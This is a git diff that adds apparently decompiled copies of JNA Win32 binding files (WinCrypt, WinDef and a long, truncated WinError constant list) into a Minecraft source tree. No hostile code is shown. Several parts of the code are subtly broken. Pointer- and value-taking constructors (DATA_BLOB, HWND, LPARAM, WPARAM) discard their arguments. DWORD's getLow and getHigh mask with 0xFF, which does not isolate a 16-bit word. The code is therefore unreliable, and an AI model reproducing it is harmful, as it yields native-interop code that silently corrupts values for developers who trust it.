+++ b/src/minecraft/com/sun/jna/platform/win32/WinCrypt.java
@@ -0,0 +1,87 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.Memory;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.win32.StdCallLibrary;
+
+
+
+
+public abstract interface WinCrypt
+  extends StdCallLibrary
+{
+  public static final int CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1;
+  public static final int CRYPTPROTECT_PROMPT_ON_PROTECT = 2;
+  public static final int CRYPTPROTECT_PROMPT_RESERVED = 4;
+  public static final int CRYPTPROTECT_PROMPT_STRONG = 8;
+  public static final int CRYPTPROTECT_PROMPT_REQUIRE_STRONG = 16;
+  public static final int CRYPTPROTECT_UI_FORBIDDEN = 1;
+  public static final int CRYPTPROTECT_LOCAL_MACHINE = 4;
+  public static final int CRYPTPROTECT_CRED_SYNC = 8;
+  public static final int CRYPTPROTECT_AUDIT = 16;
+  public static final int CRYPTPROTECT_NO_RECOVERY = 32;
+  public static final int CRYPTPROTECT_VERIFY_PROTECTION = 64;
+  public static final int CRYPTPROTECT_CRED_REGENERATE = 128;
+  
+  public static class DATA_BLOB
+    extends Structure
+  {
+    public int cbData;
+    public Pointer pbData;
+    
+    public DATA_BLOB() {}
+    
+    public DATA_BLOB(Pointer memory)
+    {
+      super();
+      read();
+    }
+    
+    public DATA_BLOB(byte[] data) {
+      pbData = new Memory(data.length);
+      pbData.write(0L, data, 0, data.length);
+      cbData = data.length;
+      allocateMemory();
+    }
+    
+    public DATA_BLOB(String s) {
+      this(Native.toByteArray(s));
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public byte[] getData()
+    {
+      return pbData == null ? null : pbData.getByteArray(0L, cbData);
+    }
+  }
+  
+  public static class CRYPTPROTECT_PROMPTSTRUCT extends Structure
+  {
+    public int cbSize;
+    public int dwPromptFlags;
+    public WinDef.HWND hwndApp;
+    public String szPrompt;
+    
+    public CRYPTPROTECT_PROMPTSTRUCT() {}
+    
+    public CRYPTPROTECT_PROMPTSTRUCT(Pointer memory)
+    {
+      super();
+      read();
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinDef.java b/src/minecraft/com/sun/jna/platform/win32/WinDef.java
new file mode 100644
index 0000000..e5b19c1
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinDef.java
@@ -0,0 +1,345 @@
+package com.sun.jna.platform.win32;
+
+import com.sun.jna.IntegerType;
+import com.sun.jna.Native;
+import com.sun.jna.Pointer;
+import com.sun.jna.Structure;
+import com.sun.jna.win32.StdCallLibrary;
+import java.awt.Rectangle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinDef
+  extends StdCallLibrary
+{
+  public static final int MAX_PATH = 260;
+  
+  public static class WORD
+    extends IntegerType
+  {
+    public WORD()
+    {
+      this(0L);
+    }
+    
+    public WORD(long value) {
+      super(value);
+    }
+  }
+  
+  public static class DWORD
+    extends IntegerType
+  {
+    public DWORD()
+    {
+      this(0L);
+    }
+    
+    public DWORD(long value) {
+      super(value, true);
+    }
+    
+
+
+
+
+    public WinDef.WORD getLow()
+    {
+      return new WinDef.WORD(longValue() & 0xFF);
+    }
+    
+
+
+
+
+    public WinDef.WORD getHigh()
+    {
+      return new WinDef.WORD(longValue() >> 16 & 0xFF);
+    }
+  }
+  
+  public static class LONG
+    extends IntegerType
+  {
+    public LONG()
+    {
+      this(0L);
+    }
+    
+    public LONG(long value) {
+      super(value);
+    }
+  }
+  
+
+  public static class HDC
+    extends WinNT.HANDLE
+  {
+    public HDC() {}
+    
+
+    public HDC(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HICON
+    extends WinNT.HANDLE
+  {
+    public HICON() {}
+    
+
+    public HICON(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HCURSOR
+    extends WinDef.HICON
+  {
+    public HCURSOR() {}
+    
+
+    public HCURSOR(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HMENU
+    extends WinNT.HANDLE
+  {
+    public HMENU() {}
+    
+
+    public HMENU(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HPEN
+    extends WinNT.HANDLE
+  {
+    public HPEN() {}
+    
+
+    public HPEN(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HRSRC
+    extends WinNT.HANDLE
+  {
+    public HRSRC() {}
+    
+
+    public HRSRC(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HPALETTE
+    extends WinNT.HANDLE
+  {
+    public HPALETTE() {}
+    
+
+    public HPALETTE(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HBITMAP
+    extends WinNT.HANDLE
+  {
+    public HBITMAP() {}
+    
+
+    public HBITMAP(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HRGN
+    extends WinNT.HANDLE
+  {
+    public HRGN() {}
+    
+
+    public HRGN(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HWND
+    extends WinNT.HANDLE
+  {
+    public HWND() {}
+    
+
+    public HWND(Pointer p)
+    {
+      super();
+    }
+  }
+  
+
+  public static class HINSTANCE
+    extends WinNT.HANDLE
+  {
+    public HINSTANCE() {}
+  }
+  
+
+  public static class HMODULE
+    extends WinDef.HINSTANCE
+  {
+    public HMODULE() {}
+  }
+  
+
+  public static class HFONT
+    extends WinNT.HANDLE
+  {
+    public HFONT() {}
+    
+
+    public HFONT(Pointer p)
+    {
+      super();
+    }
+  }
+  
+  public static class LPARAM
+    extends BaseTSD.LONG_PTR
+  {
+    public LPARAM()
+    {
+      this(0L);
+    }
+    
+    public LPARAM(long value) {
+      super();
+    }
+  }
+  
+  public static class LRESULT
+    extends BaseTSD.LONG_PTR
+  {
+    public LRESULT()
+    {
+      this(0L);
+    }
+    
+    public LRESULT(long value) {
+      super();
+    }
+  }
+  
+  public static class UINT_PTR
+    extends IntegerType
+  {
+    public UINT_PTR()
+    {
+      super();
+    }
+    
+    public UINT_PTR(long value) {
+      super(value);
+    }
+    
+    public Pointer toPointer() {
+      return Pointer.createConstant(longValue());
+    }
+  }
+  
+  public static class WPARAM
+    extends WinDef.UINT_PTR
+  {
+    public WPARAM()
+    {
+      this(0L);
+    }
+    
+
+    public WPARAM(long value) { super(); }
+  }
+  
+  public static class RECT extends Structure {
+    public int left;
+    public int top;
+    public int right;
+    public int bottom;
+    
+    public RECT() {}
+    
+    public Rectangle toRectangle() { return new Rectangle(left, top, right - left, bottom - top); }
+    
+    public String toString()
+    {
+      return "[(" + left + "," + top + ")(" + right + "," + bottom + ")]";
+    }
+  }
+  
+  public static class ULONGLONG
+    extends IntegerType
+  {
+    public ULONGLONG()
+    {
+      this(0L);
+    }
+    
+    public ULONGLONG(long value) {
+      super(value);
+    }
+  }
+  
+  public static class DWORDLONG
+    extends IntegerType
+  {
+    public DWORDLONG()
+    {
+      this(0L);
+    }
+    
+    public DWORDLONG(long value) {
+      super(value);
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/win32/WinError.java b/src/minecraft/com/sun/jna/platform/win32/WinError.java
new file mode 100644
index 0000000..359d263
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/win32/WinError.java
@@ -0,0 +1,26038 @@
+package com.sun.jna.platform.win32;
+
+
+
+
+
+
+
+
+
+
+public abstract interface WinError
+{
+  public static final short FACILITY_WINRM = 51;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_WINDOWSUPDATE = 36;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_WINDOWS_DEFENDER = 80;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_WINDOWS_CE = 24;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_WINDOWS = 8;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_URT = 19;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_UMI = 22;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_TPM_SOFTWARE = 41;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_TPM_SERVICES = 40;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SXS = 23;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_STORAGE = 3;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_STATE_MANAGEMENT = 34;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SSPI = 9;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SCARD = 16;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SHELL = 39;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SETUPAPI = 15;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_SECURITY = 9;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_RPC = 1;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_PLA = 48;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_WIN32 = 7;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_CONTROL = 10;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_NULL = 0;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_NDIS = 52;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_METADIRECTORY = 35;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_MSMQ = 14;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_MEDIASERVER = 13;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_INTERNET = 12;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_ITF = 4;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_USERMODE_HYPERVISOR = 53;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_HTTP = 25;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_GRAPHICS = 38;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_FWP = 50;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_FVE = 49;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_USERMODE_FILTER_MANAGER = 31;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_DPLAY = 21;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_DISPATCH = 2;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_DIRECTORYSERVICE = 37;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_CONFIGURATION = 33;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_COMPLUS = 17;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_USERMODE_COMMONLOG = 26;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_CMI = 54;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_CERT = 11;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_BACKGROUNDCOPY = 32;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_ACS = 20;
+  
+
+
+
+
+
+
+
+
+  public static final short FACILITY_AAF = 18;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUCCESS = 0;
+  
+
+
+
+
+
+
+
+
+  public static final int NO_ERROR = 0;
+  
+
+
+
+
+
+
+
+
+  public static final int SEC_E_OK = 0;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FUNCTION = 1;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_NOT_FOUND = 2;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATH_NOT_FOUND = 3;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_OPEN_FILES = 4;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ACCESS_DENIED = 5;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_HANDLE = 6;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ARENA_TRASHED = 7;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_ENOUGH_MEMORY = 8;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_BLOCK = 9;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_ENVIRONMENT = 10;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_FORMAT = 11;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ACCESS = 12;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DATA = 13;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OUTOFMEMORY = 14;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_DRIVE = 15;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CURRENT_DIRECTORY = 16;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SAME_DEVICE = 17;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_FILES = 18;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRITE_PROTECT = 19;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_UNIT = 20;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_READY = 21;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_COMMAND = 22;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CRC = 23;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_LENGTH = 24;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEEK = 25;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_DOS_DISK = 26;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SECTOR_NOT_FOUND = 27;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OUT_OF_PAPER = 28;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRITE_FAULT = 29;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_READ_FAULT = 30;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_GEN_FAILURE = 31;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHARING_VIOLATION = 32;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOCK_VIOLATION = 33;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WRONG_DISK = 34;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHARING_BUFFER_EXCEEDED = 36;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HANDLE_EOF = 38;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_HANDLE_DISK_FULL = 39;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SUPPORTED = 50;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REM_NOT_LIST = 51;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DUP_NAME = 52;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_NETPATH = 53;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NETWORK_BUSY = 54;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DEV_NOT_EXIST = 55;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_CMDS = 56;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ADAP_HDW_ERR = 57;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_NET_RESP = 58;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_UNEXP_NET_ERR = 59;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_REM_ADAP = 60;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINTQ_FULL = 61;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SPOOL_SPACE = 62;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PRINT_CANCELLED = 63;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NETNAME_DELETED = 64;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NETWORK_ACCESS_DENIED = 65;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DEV_TYPE = 66;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_NET_NAME = 67;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_NAMES = 68;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_SESS = 69;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SHARING_PAUSED = 70;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REQ_NOT_ACCEP = 71;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_REDIR_PAUSED = 72;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_EXISTS = 80;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_MAKE = 82;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FAIL_I24 = 83;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OUT_OF_STRUCTURES = 84;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_ASSIGNED = 85;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PASSWORD = 86;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_PARAMETER = 87;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NET_WRITE_FAULT = 88;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_PROC_SLOTS = 89;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_SEMAPHORES = 100;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXCL_SEM_ALREADY_OWNED = 101;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEM_IS_SET = 102;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_SEM_REQUESTS = 103;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_AT_INTERRUPT_TIME = 104;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEM_OWNER_DIED = 105;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEM_USER_LIMIT = 106;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_CHANGE = 107;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DRIVE_LOCKED = 108;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BROKEN_PIPE = 109;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_OPEN_FAILED = 110;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BUFFER_OVERFLOW = 111;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISK_FULL = 112;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_SEARCH_HANDLES = 113;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_TARGET_HANDLE = 114;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_CATEGORY = 117;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_VERIFY_SWITCH = 118;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_DRIVER_LEVEL = 119;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CALL_NOT_IMPLEMENTED = 120;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEM_TIMEOUT = 121;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INSUFFICIENT_BUFFER = 122;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_NAME = 123;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LEVEL = 124;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_VOLUME_LABEL = 125;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MOD_NOT_FOUND = 126;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PROC_NOT_FOUND = 127;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_WAIT_NO_CHILDREN = 128;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CHILD_NOT_COMPLETE = 129;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DIRECT_ACCESS_HANDLE = 130;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NEGATIVE_SEEK = 131;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEEK_ON_DEVICE = 132;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_JOIN_TARGET = 133;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_JOINED = 134;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_SUBSTED = 135;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_JOINED = 136;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_SUBSTED = 137;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOIN_TO_JOIN = 138;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUBST_TO_SUBST = 139;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_JOIN_TO_SUBST = 140;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SUBST_TO_JOIN = 141;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BUSY_DRIVE = 142;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SAME_DRIVE = 143;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DIR_NOT_ROOT = 144;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DIR_NOT_EMPTY = 145;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_SUBST_PATH = 146;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_JOIN_PATH = 147;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PATH_BUSY = 148;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IS_SUBST_TARGET = 149;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SYSTEM_TRACE = 150;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EVENT_COUNT = 151;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_MUXWAITERS = 152;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_LIST_FORMAT = 153;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LABEL_TOO_LONG = 154;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_TCBS = 155;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SIGNAL_REFUSED = 156;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DISCARDED = 157;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_LOCKED = 158;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_THREADID_ADDR = 159;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_ARGUMENTS = 160;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_PATHNAME = 161;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SIGNAL_PENDING = 162;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MAX_THRDS_REACHED = 164;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOCK_FAILED = 167;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BUSY = 170;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANCEL_VIOLATION = 173;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ATOMIC_LOCKS_NOT_SUPPORTED = 174;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SEGMENT_NUMBER = 180;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_ORDINAL = 182;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ALREADY_EXISTS = 183;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_FLAG_NUMBER = 186;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_SEM_NOT_FOUND = 187;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_STARTING_CODESEG = 188;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_STACKSEG = 189;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MODULETYPE = 190;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EXE_SIGNATURE = 191;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXE_MARKED_INVALID = 192;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_EXE_FORMAT = 193;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ITERATED_DATA_EXCEEDS_64k = 194;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_MINALLOCSIZE = 195;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DYNLINK_FROM_INVALID_RING = 196;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_IOPL_NOT_ENABLED = 197;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SEGDPL = 198;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_AUTODATASEG_EXCEEDS_64k = 199;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RING2SEG_MUST_BE_MOVABLE = 200;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RELOC_CHAIN_XEEDS_SEGLIM = 201;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INFLOOP_IN_RELOC_CHAIN = 202;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_ENVVAR_NOT_FOUND = 203;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_SIGNAL_SENT = 205;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILENAME_EXCED_RANGE = 206;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_RING2_STACK_IN_USE = 207;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_META_EXPANSION_TOO_LONG = 208;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_SIGNAL_NUMBER = 209;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_THREAD_1_INACTIVE = 210;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_LOCKED = 212;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_MODULES = 214;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NESTING_NOT_ALLOWED = 215;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXE_MACHINE_TYPE_MISMATCH = 216;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_CHECKED_OUT = 220;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CHECKOUT_REQUIRED = 221;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_FILE_TYPE = 222;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FILE_TOO_LARGE = 223;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_FORMS_AUTH_REQUIRED = 224;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VIRUS_INFECTED = 225;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VIRUS_DELETED = 226;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PIPE_LOCAL = 229;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_BAD_PIPE = 230;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PIPE_BUSY = 231;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_DATA = 232;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PIPE_NOT_CONNECTED = 233;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_MORE_DATA = 234;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_VC_DISCONNECTED = 240;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EA_NAME = 254;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EA_LIST_INCONSISTENT = 255;
+  
+
+
+
+
+
+
+
+
+  public static final int WAIT_TIMEOUT = 258;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NO_MORE_ITEMS = 259;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_CANNOT_COPY = 266;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_DIRECTORY = 267;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EAS_DIDNT_FIT = 275;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EA_FILE_CORRUPT = 276;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EA_TABLE_FULL = 277;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_INVALID_EA_HANDLE = 278;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_EAS_NOT_SUPPORTED = 282;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_NOT_OWNER = 288;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_TOO_MANY_POSTS = 298;
+  
+
+
+
+
+
+
+
+
+  public static final int ERROR_PARTIAL_COPY = 299;
+  
+
